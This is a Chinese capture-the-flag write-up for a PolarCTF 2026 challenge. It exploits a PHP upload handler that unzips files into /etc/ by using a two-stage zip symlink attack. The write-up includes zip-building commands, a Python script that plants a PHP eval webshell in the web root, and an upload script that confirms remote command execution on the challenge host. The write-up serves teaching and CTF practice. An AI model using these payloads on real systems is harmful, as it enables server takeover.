【PolarCTF2026年春季挑战赛】狗黑子最后的起舞

扫目录发现login.php

注册一个账号并登录,发现增加了一个目录,继续扫这个目录

githack恢复一下

复制代码
<?php
if (isset($_FILES['file'])) {
    $f = $_FILES['file'];
    if ($f['error'] === UPLOAD_ERR_OK) {    # 检测文件上传是否成功,UPLOAD_ERR_OK 表示无错误
        $dest = '/etc/' . time() . '_' . basename($f['name']);    # 文件名称 = 时间戳 + 原文件名,避免重名
        if (move_uploaded_file($f['tmp_name'], $dest)) {    # 将上传的临时文件移动到目标路径 $dest,成功则继续执行;$f['tmp_name'] 就是 PHP 上传文件时,系统自动生成的【临时文件路径】,脚本执行完成之后会自动删除
            $escapedDest = escapeshellarg($dest);    # 对文件路径进行 shell 转义,防止命令注入漏洞
            # unzip -o:强制解压,自动覆盖同名文件,不询问
            # -d /etc/:指定解压到 /etc/ 目录
            # 2>&1:将标准错误输出重定向到标准输出,方便查看执行结果
            exec("unzip -o $escapedDest -d /etc/ 2>&1");
            if ($code !== 0) {
                # 原文没有定义,应该是如果解压失败则再次尝试解压
                exec("unzip -o $escapedDest -d /etc/ 2>&1");
            }
            # 删除上传的 ZIP 压缩包,清理痕迹
            unlink($dest);
            echo "ghz";
        }
    }
}
?>

这段代码的漏洞点在于

复制代码
exec("unzip -o $escapedDest -d /etc/ 2>&1");

这个漏洞叫做zip符号链接攻击

那么这个恶意的zip制作方式如下

复制代码
方法1:
# 1. 创建符号链接,指向目标文件,第一个参数就是你要指向的那个文件,第二个参数就是你符号链接的名称
ln -s /etc/passwd symlink_to_passwd
# 2. 将符号链接打包进zip(保留符号链接属性)
zip --symlinks malicious.zip symlink_to_passwd


方法2:
# 或者创建一个包含要写入内容的文件
echo "malicious content" > payload.txt
ln -s /target/file.txt symlink
zip --symlinks malicious.zip symlink payload.txt

那么我们的攻击思路就很明显了:

步骤1:

首先创建一个zip压缩包,包含一个名为 link 的软链接,指向 Web 根目录(/var/www/html)。解压后,会在服务器上创建/etc/link -> /var/www/html

步骤2:

再创建一个zip压缩包,包含一个名为link/shell.php的文件。解压到/etc/时, unzip 会尝试写入/etc/link/shell.php。但是由于由于/etc/link是向/var/www/html的软链接,文件最终会被写入到/var/www/html/shell.php

攻击流程如下:

复制代码
┌─────────────────────────────────────────────────────────────┐
│  第一步:上传 link.zip                                       │
│  ┌──────────────┐                                           │
│  │   link.zip   │  包含:link -> /var/www/html (符号链接)    │
│  └──────────────┘                                           │
│         ↓ 解压后                                            │
│  当前目录出现:link (符号链接) → /var/www/html               │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  第二步:上传 shell.zip                                      │
│  ┌──────────────┐                                           │
│  │  shell.zip   │  包含:link/shell.php (WebShell 内容)      │
│  └──────────────┘                                           │
│         ↓ 解压时                                            │
│  unzip 跟随 link 符号链接,实际写入 /var/www/html/shell.php   │
│         ↓                                                   │
│  攻击者获得 WebShell,可执行任意命令!                        │
└─────────────────────────────────────────────────────────────┘

为什么要分两个ZIP进行攻击?
1、符号链接必须先存在,才能被跟随
2、如果放在同一个 ZIP 中,解压顺序不确定,可能符号链接还没创建就尝试写入
3、分两次上传解压,确保攻击顺序可控

攻击的exp.py如下

复制代码
import zipfile
import os

def create_symlink_zip(zip_name, link_name, target_path):
    """
    Creates a zip file containing a symbolic link.
    """
    # Create the zip file
    with zipfile.ZipFile(zip_name, 'w') as zf:
        # Create a ZipInfo object for the symlink
        zi = zipfile.ZipInfo(link_name)
        # Set create_system to 3 (Unix) to ensure external_attr is interpreted correctly
        zi.create_system = 3
        # Set external attributes to represent a symlink (Unix attribute 0xA000)
        # The attribute format is (mode << 16) | 0
        zi.external_attr = 0xA1ED0000  # 0xA000 for symlink, 0x1ED for 0755 permissions
        zf.writestr(zi, target_path)

def create_payload_zip(zip_name, link_name, filename, content):
    """
    Creates a zip file containing a file inside a directory named like the symlink.
    """
    with zipfile.ZipFile(zip_name, 'w') as zf:
        zf.writestr(os.path.join(link_name, filename), content)

if __name__ == "__main__":
    # ZIP 1: Symlink to the web root
    # Note: We use 'link' as the symlink name. 
    # In the second ZIP, we'll use 'link/shell.php'
    create_symlink_zip("link.zip", "link", "/var/www/html")
    
    # ZIP 2: Payload file inside the symlink directory
    create_payload_zip("shell.zip", "link", "shell.php", "<?php eval($_POST['cmd']); ?>")
    
    print("Generated link.zip and shell.zip")

由于没有上传文件的前端,再写一个脚本实现自动化上传和验证

复制代码
import requests
import os
import time

# 题目地址
TARGET_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/ghzpolar/gouheizi.php"
BASE_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/"

def upload(filename):
    print(f"[*] Uploading {filename}...")
    with open(filename, 'rb') as f:
        files = {'file': (filename, f, 'application/zip')}
        r = requests.post(TARGET_URL, files=files)
        print(f"[+] Response: {r.text.strip()}")
        return r.text

def check_shell():
    # 尝试两个可能的 shell 路径
    paths = ["shell.php", "ghzpolar/shell.php"]
    for path in paths:
        url = BASE_URL + path
        print(f"[*] Checking shell at {url}...")
        try:
            r = requests.get(url, timeout=5)
            if r.status_code == 200:
                print(f"[!!!] Shell found at {url}")
                # 简单测试一下 RCE
                r_post = requests.post(url, data={'cmd': 'echo "pwned";'})
                if "pwned" in r_post.text:
                    print("[!!!] RCE verified!")
                    return True
        except Exception as e:
            print(f"[-] Error checking {url}: {e}")
    return False

if __name__ == "__main__":
    # 1. 运行 gen_zip.py 生成压缩包
    print("[*] Generating ZIP files...")
    os.system("python gen_zip.py")
    
    # 2. 上传 link.zip
    upload("link.zip")
    
    # 3. 上传 shell.zip
    upload("shell.zip")
    
    # 4. 验证
    check_shell()

访问后门即可getshell

得到flag{aa1e3ea993e122de5de6e387db6c860}

相关推荐
XLYcmy1 小时前
全链路验证测试系统:一个针对智能代理(Agent)系统全链路能力的自动化验证脚本
分布式·python·http·网络安全·ai·llm·agent
顾凌陵11 小时前
XXE漏洞攻击的溯源分析与实战
网络安全
谪星·阿凯12 小时前
vulntarget-a内网靶场通关博客
网络安全·内网渗透靶场
菩提小狗14 小时前
每日安全情报报告 · 2026-05-30
网络安全·漏洞·cve·安全情报·每日安全
IPHWT 零软网络1 天前
MX60E-A信创级智能语音网关技术实现与架构分析
网络·网络安全·国产自研·技术实现·智能语音网关·政企通信·信创技术
сокол1 天前
【网安-Web渗透测试-免杀系列】内存免杀(无文件落地)
windows·网络安全
学习溢出1 天前
【网络安全】追踪PowerShell命令历史
安全·网络安全
Sombra_Olivia1 天前
Vulhub 中的 cmsms CVE-2019-9053 & CVE-2021-26120
安全·web安全·网络安全·渗透测试·vulhub
大方子1 天前
【PolarCTF】bllbl_ser1
网络安全·polarctf